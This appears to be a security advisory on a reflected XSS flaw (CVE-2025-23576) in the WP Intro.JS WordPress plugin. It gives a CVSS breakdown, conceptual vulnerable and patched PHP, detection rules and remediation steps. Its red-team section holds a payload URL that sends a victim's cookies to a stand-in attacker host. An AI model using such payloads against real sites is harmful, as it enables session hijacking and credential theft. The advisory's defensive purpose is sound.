CVE-2025-23576

Executive Summary

CVE-2025-23576 is a Reflected Cross-Site Scripting (XSS) vulnerability found in the WordPress plugin WP Intro.JS (slug: wp-intro-js-tours), developed by cfuze. The vulnerability exists in all versions up to and including 1.1. The plugin fails to properly neutralize user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript code into a reflected HTTP response.

This vulnerability is classified as a WordPress ecosystem issue. The attack vector is network-based, requires low complexity, and necessitates user interaction (e.g., clicking a crafted link). Successful exploitation could lead to session hijacking, credential theft, or defacement within the context of the victim's browser session on the affected WordPress site.

The EPSS score is 0.0%, indicating a very low probability of active exploitation in the wild at the time of analysis. However, the lack of a known patch makes this a persistent risk for any site running the vulnerable plugin.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. As such, it is part of the WordPress supply chain. Users are advised to monitor the plugin's page for updates. Since no patch is available, the only secure mitigation is to remove or disable the plugin entirely.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a malicious link.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited ability to disrupt service.

Threat Level: High. While the EPSS score is low, the lack of a patch and the ease of exploitation (no auth, low complexity) make this a significant risk for any site using the plugin.

Deep Dive & Mechanics

The vulnerability resides in the wp-intro-js-tours plugin. The plugin likely takes user input from a URL parameter (e.g., ?tour_id=...) and reflects it directly into the HTML page without proper sanitization or encoding.

Attack Flow:

1. An attacker crafts a malicious URL containing a JavaScript payload in a vulnerable parameter.
2. The attacker tricks a logged-in WordPress user (e.g., admin) into clicking the link.
3. The vulnerable plugin reflects the payload in the response.
4. The victim's browser executes the injected script.
5. The script can perform actions on behalf of the victim, such as stealing cookies, modifying page content, or performing administrative actions.

Root Cause: The plugin uses functions like echo $_GET['param'] or similar without applying WordPress's built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post().

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern.

Vulnerable Code (Conceptual):

<?php
// wp-intro-js-tours.php (v1.1)
$tour_id = $_GET['tour_id'];
echo "<div id='tour-$tour_id'>Start Tour</div>";
?>

Patched Code (Conceptual):

<?php
// Patched version
$tour_id = isset($_GET['tour_id']) ? sanitize_text_field($_GET['tour_id']) : '';
echo "<div id='tour-" . esc_attr($tour_id) . "'>Start Tour</div>";
?>

The patched version uses sanitize_text_field() to strip malicious input and esc_attr() to safely output the value within an HTML attribute context.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with WP Intro.JS plugin version <= 1.1 installed and activated.
• A victim user with any role (admin preferred for maximum impact).

Exploit Payload: A crafted URL targeting a vulnerable parameter. Assuming the vulnerable parameter is tour_id:

http://target-site.com/?tour_id=<script>alert('XSS')</script>

Step-by-Step:

1. Identify the vulnerable parameter by fuzzing the plugin's known endpoints.
2. Craft a payload to steal cookies:

   http://target-site.com/?tour_id=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
   

3. Send the link to the victim via email, social engineering, or other means.
4. When the victim clicks the link, the script executes and sends their cookies to the attacker's server.

Note: No public exploit code (Exploit-DB) is available for this CVE.

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for requests containing <script>, onerror=, onload=, or other XSS patterns in URL parameters.
• Look for unusual outbound connections from the web server to unknown IPs.
• Use a Web Application Firewall (WAF) to block common XSS payloads.

Hardening:

• Immediate: Disable and remove the wp-intro-js-tours plugin.
• Long-term: Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Code Review: If you must keep the plugin, manually patch the vulnerable code using esc_attr() and sanitize_text_field().

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to the WordPress site with parameters containing <script>, %3Cscript%3E, or other encoded XSS payloads.
  • Outbound HTTP requests from the victim's browser to attacker-controlled domains (e.g., attacker.com/steal.php).

• File IOCs:

  • The plugin file wp-intro-js-tours.php (or similar) in /wp-content/plugins/wp-intro-js-tours/.
  • Suspicious entries in WordPress database wp_options or wp_postmeta tables containing JavaScript.

• Log IOCs:

  • Web server access logs showing GET /?tour_id=<script>... patterns.
  • WordPress debug logs (if enabled) showing unexpected output.

Detection Engineering

YARA Rule

rule CVE_2025_23576_WP_Intro_JS_XSS {
    meta:
        description = "Detects vulnerable WP Intro.JS plugin files with reflected XSS patterns"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-23576"
    strings:
        $vuln_pattern1 = /echo\s*\$_(GET|POST|REQUEST)\s*\[/
        $vuln_pattern2 = /print\s*\$_(GET|POST|REQUEST)\s*\[/
        $plugin_id = "wp-intro-js-tours"
    condition:
        $plugin_id and ($vuln_pattern1 or $vuln_pattern2)
}

Sigma Rule

title: Reflected XSS in WP Intro.JS Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads targeting WP Intro.JS plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-uri-query|contains:
            - '<script>'
            - '%3Cscript%3E'
            - 'onerror='
            - 'onload='
        cs-uri-query|contains: 'tour_id'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in URL parameters (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-23576 - Reflected XSS in WP Intro.JS Plugin";
    flow:to_server,established;
    content:"tour_id"; http_uri;
    content:"<script>"; http_uri;
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable and remove the wp-intro-js-tours plugin from all WordPress installations.
2. Scan the WordPress database for any injected malicious content.
3. Rotate all user session cookies and API keys.

Long-term Actions:

1. Monitor the WordPress plugin repository for an official patch.
2. Implement a Web Application Firewall (WAF) with rules to block reflected XSS.
3. Educate users about phishing links that may exploit this vulnerability.
4. Conduct a security audit of all other plugins for similar issues.

Workaround (if plugin must be used):

• Manually edit the plugin file to add input sanitization and output escaping as shown in the patched code example.

Valters IT
Securing Digital Frontiers